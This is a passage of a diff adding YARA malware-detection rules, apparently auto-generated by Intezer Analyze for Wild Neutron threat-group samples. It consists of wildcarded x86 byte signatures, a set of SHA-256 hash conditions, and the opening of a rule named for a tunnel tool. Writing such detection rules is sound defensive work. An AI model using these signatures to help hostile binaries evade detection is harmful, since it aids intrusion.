+		$block_2 = { 0F B6 ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 4? 83 ?? ?? 83 ?? ?? 72 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_6 = { 8B ?? ?? ?? 0F B6 ?? ?? ?? 5? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? FF 4? ?? ?? 83 ?? ?? ?? ?? 5? 5? 72 }
+		$block_7 = { 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_8 = { 8D ?? ?? ?? 5? BB ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 8B ?? ?? ?? ?? ?? 0F 84 }
+		$block_9 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? FF D? 0F B7 ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? 89 ?? ?? ?? 5? E9 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 8B ?? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? FF B? ?? ?? ?? ?? FF 5? ?? 85 ?? 0F 85 }
+		$block_11 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_12 = { 33 ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF 3? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_13 = { 5? 8D ?? ?? ?? ?? ?? 5? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 33 ?? 8B ?? 39 ?? ?? ?? ?? ?? 0F 8E }
+		$block_14 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? 5? 66 ?? ?? 0F 84 }
+		$block_15 = { 8A ?? ?? 0F B6 ?? 8B ?? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 0F B7 ?? 8B ?? ?? 33 ?? 8D ?? ?? ?? F7 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 85 ?? 0F 84 }
+		$block_18 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? 66 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_19 = { 8D ?? ?? 5? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 0F BF ?? ?? ?? ?? ?? 0F BF ?? ?? 4? 3B ?? 75 }
+		$block_20 = { 83 ?? ?? 5? 8D ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 8D ?? ?? AB AA 8B ?? ?? 5? 8D }
+		$block_21 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_22 = { 0F BF ?? ?? ?? ?? ?? 2B ?? D1 ?? 03 ?? 0F B7 ?? 9? 99 F7 ?? 4? 89 ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_23 = { 33 ?? 66 ?? ?? 0F B7 ?? ?? 83 ?? ?? F7 ?? 1B ?? 23 ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 0F B7 ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 6A ?? 5? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 }
+		$block_25 = { 8A ?? ?? 0F B6 ?? 8B ?? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_26 = { 5? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_27 = { 8D ?? ?? ?? 5? 5? 8B ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 39 ?? ?? ?? 0F 8E }
+		$block_28 = { FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? FF 8? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_29 = { 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 77 }
+		$block_30 = { 0F B7 ?? ?? 33 ?? 66 ?? ?? ?? 5? 0F 94 ?? 83 ?? ?? 33 ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_31 = { 8B ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 33 ?? 39 ?? ?? 5? 0F 94 ?? 8D ?? ?? 5? 89 ?? ?? 8D }
+		$block_32 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? EB }
+		$block_33 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_34 = { 0F B7 ?? 5? E8 ?? ?? ?? ?? 0F B7 ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_35 = { 5? E8 ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 5? 66 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_36 = { 0F B7 ?? 33 ?? 83 ?? ?? 0F 94 ?? 83 ?? ?? 66 ?? ?? 0F B7 ?? 83 ?? ?? 33 ?? 66 ?? ?? 75 }
+		$block_37 = { 8B ?? 5? 5? 5? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_38 = { 8B ?? ?? 03 ?? 8B ?? ?? 03 ?? 03 ?? D1 ?? 89 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_39 = { 8D ?? ?? ?? 5? 6A ?? BA ?? ?? ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_40 = { BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_41 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_42 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_43 = { 8B ?? 6B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_44 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_45 = { 8B ?? ?? 2B ?? ?? D1 ?? 03 ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_46 = { 0F B6 ?? ?? 5? 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? 83 ?? ?? 8D }
+		$block_47 = { BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_48 = { 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? 5? 5? 5? 5? 0F B7 ?? ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? EB }
+		$block_49 = { 8B ?? 5? E8 ?? ?? ?? ?? 03 ?? ?? 83 ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_50 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D }
+		$block_51 = { 8B ?? ?? ?? ?? ?? 5? B8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8D ?? ?? 5? 5? FF D? 85 ?? 0F 84 }
+		$block_53 = { 0F B7 ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_54 = { 0F BF ?? 33 ?? 8B ?? F7 ?? 4? 89 ?? ?? ?? ?? ?? 0F B7 ?? 8B ?? 0F AF ?? 3B ?? 72 }
+		$block_55 = { 8B ?? 2B ?? D1 ?? 8D ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_56 = { 8B ?? ?? ?? ?? ?? 33 ?? 33 ?? 81 E? ?? ?? ?? ?? 1B ?? 89 ?? ?? ?? ?? ?? 0F 88 }
+		$block_57 = { 2B ?? 8D ?? ?? ?? 5? 6A ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_58 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$block_59 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+		$block_60 = { 8B ?? ?? ?? 2B ?? D1 ?? 8D ?? ?? B9 ?? ?? ?? ?? 66 ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_61 = { FF B? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_62 = { 8B ?? ?? 5? 8B ?? ?? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? 0F 84 }
+		$block_64 = { 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 5? 6A ?? 5? 5? 5? 0F B7 }
+		$block_65 = { 68 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_66 = { 0F B7 ?? 33 ?? 83 ?? ?? 0F 94 ?? 66 ?? ?? ?? 83 ?? ?? 33 ?? 66 ?? ?? ?? 75 }
+		$block_67 = { 8B ?? ?? ?? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_68 = { 5? 8B ?? 5? 5? 83 ?? ?? ?? A1 ?? ?? ?? ?? 5? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 0F B7 ?? ?? 83 ?? ?? 8D ?? ?? ?? 5? 5? FF 5? ?? ?? 8B ?? 83 ?? ?? 85 ?? 75 }
+		$block_70 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 0F 8C }
+		$block_71 = { FF B? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_72 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_73 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+		$block_74 = { 8D ?? ?? ?? ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_75 = { 8B ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? AB AB AB 66 ?? AA BB }
+		$block_76 = { 0F B7 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_77 = { 8D ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_78 = { 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 0F 87 }
+		$block_79 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 23 ?? 23 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_80 = { 8D ?? ?? 66 ?? ?? ?? 0F BF ?? 4? 66 ?? ?? 89 ?? ?? 3B ?? ?? ?? ?? ?? 75 }
+		$block_81 = { 33 ?? 85 ?? 0F 94 ?? 5? 5? 5? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_82 = { 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_83 = { 8B ?? ?? 2B ?? D1 ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_84 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 0F 86 }
+		$block_85 = { 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF D? 84 ?? 0F 84 }
+		$block_86 = { 6A ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_87 = { 0F B7 ?? 33 ?? 66 ?? ?? 66 ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 8B ?? 74 }
+		$block_88 = { BB ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_89 = { 8B ?? 2B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? D1 ?? 89 ?? ?? 85 ?? 0F 8E }
+		$block_90 = { 0F B7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 66 ?? ?? 75 }
+		$block_91 = { 0F BF ?? ?? 0F BF ?? ?? ?? ?? ?? 03 ?? B8 ?? ?? ?? ?? 2B ?? 3B ?? 75 }
+		$block_92 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_93 = { 5? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_94 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? F6 ?? ?? 0F 85 }
+		$block_95 = { C7 ?? ?? ?? ?? ?? 0F B7 ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? 0F 84 }
+		$block_96 = { 8D ?? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_97 = { 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_98 = { BE ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_99 = { 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "b4005530193bc523d3e0193c3c53e2737ae3bf9f76d12c827c0b5cd0dcbaae45" or
+		hash.sha256(0, filesize) == "ccc851cbd600592f1ed2c2969a30b87f0bf29046cdfa1590d8f09cfe454608a5" or
+		hash.sha256(0, filesize) == "683f5b476f8ffe87ec22b8bab57f74da4a13ecc3a5c2cbf951999953c2064fc9" or
+		hash.sha256(0, filesize) == "781eb1e17349009fbae46aea5c59d8e5b68ae0b42335cb035742f6b0f4e4087e" or
+		hash.sha256(0, filesize) == "758e6b519f6c0931ff93542b767524fc1eab589feb5cfc3854c77842f9785c92" or
+		hash.sha256(0, filesize) == "8ca7ed720babb32a6f381769ea00e16082a563704f8b672cb21cf11843f4da7a" or
+		12 of them
+}
+
+rule WildNeutronTunnel {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 8D ?? ?? C7 ?? ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 89 ?? ?? E8 ?? ?? ?? ?? C6 ?? ?? 89 ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 88 }
+		$block_3 = { 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? 31 ?? 8B ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_5 = { 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 95 ?? ?? ?? 39 ?? 0F 86 }
+		$block_7 = { 8D ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 85 }
+		$block_8 = { A1 ?? ?? ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 44 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 74 }
+		$block_9 = { E8 ?? ?? ?? ?? F6 ?? 0F BE ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 3B ?? 75 }
+		$block_10 = { 5? 8B ?? 5? 5? 68 ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_11 = { C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_13 = { A1 ?? ?? ?? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 44 ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 74 }
+		$block_14 = { 8B ?? ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? F3 ?? C7 ?? ?? ?? ?? ?? ?? 0F 97 ?? 0F 92 ?? 38 ?? 74 }
+		$block_15 = { 0F B7 ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 75 }
+		$block_16 = { 8B ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? ?? 31 ?? 0F A4 ?? ?? C1 ?? ?? 01 ?? 11 ?? 39 ?? 0F 83 }
+		$block_17 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? 8B ?? ?? C6 ?? ?? ?? 4? 83 ?? ?? 0F 87 }
+		$block_18 = { E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_19 = { E8 ?? ?? ?? ?? 9? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? 31 ?? 85 ?? 0F 84 }
+		$block_20 = { 8B ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? ?? 80 3? ?? 0F 45 ?? 83 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_21 = { 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_22 = { 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_23 = { 5? 83 ?? ?? 8B ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? ?? 31 ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { B8 ?? ?? ?? ?? 85 ?? BA ?? ?? ?? ?? 0F 44 ?? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 }
+		$block_25 = { 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_26 = { 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 84 ?? 89 ?? 74 }
+		$block_27 = { 8B ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 0F 84 }
+		$block_28 = { B8 ?? ?? ?? ?? 85 ?? BA ?? ?? ?? ?? 0F 45 ?? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 }
+		$block_29 = { 8B ?? ?? ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 ?? 0F 44 ?? ?? ?? 89 ?? ?? ?? E9 }
+		$block_30 = { 5? 5? 5? 5? 89 ?? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 31 ?? 85 ?? 0F 84 }
+		$block_31 = { 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 88 }
+		$block_32 = { 83 ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 ?? 83 ?? ?? 19 ?? 83 ?? ?? 83 ?? ?? 19 ?? 83 }
+		$block_33 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 95 ?? 85 ?? 74 }
+		$block_34 = { E8 ?? ?? ?? ?? F6 ?? 0F BE ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 75 }
+		$block_35 = { 0F B6 ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 4? 83 ?? ?? 83 ?? ?? 83 ?? ?? 72 }
+		$block_36 = { 8B ?? ?? 8B ?? ?? ?? 03 ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? 0F B7 ?? 8D ?? ?? 8B ?? ?? 03 ?? EB }
+		$block_37 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 31 ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_38 = { C1 ?? ?? 03 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? ?? 0F 88 }
+		$block_39 = { 8B ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_40 = { 8B ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 89 ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 83 ?? ?? 83 ?? ?? 8D ?? ?? ?? 31 ?? 39 ?? 0F 82 }
+		$block_42 = { 8B ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 88 }
+		$block_43 = { C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? 88 ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? 80 F? ?? 0F 84 }
+		$block_44 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 31 ?? 83 ?? ?? 0F 94 ?? 89 ?? 89 ?? ?? 8D ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_46 = { 8B ?? ?? B8 ?? ?? ?? ?? 89 ?? C1 ?? ?? D3 ?? 09 ?? ?? 8B ?? ?? ?? 33 ?? ?? ?? ?? ?? 0F 85 }
+		$block_47 = { 8B ?? ?? 83 ?? ?? 66 ?? ?? ?? ?? ?? 0F 94 ?? 83 ?? ?? ?? ?? 0F 94 ?? 20 ?? 88 ?? ?? ?? 74 }
+		$block_48 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? 33 ?? ?? ?? ?? ?? 0F 85 }
+		$block_50 = { 8B ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 88 }
+		$block_51 = { 8B ?? ?? ?? 89 ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_52 = { 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
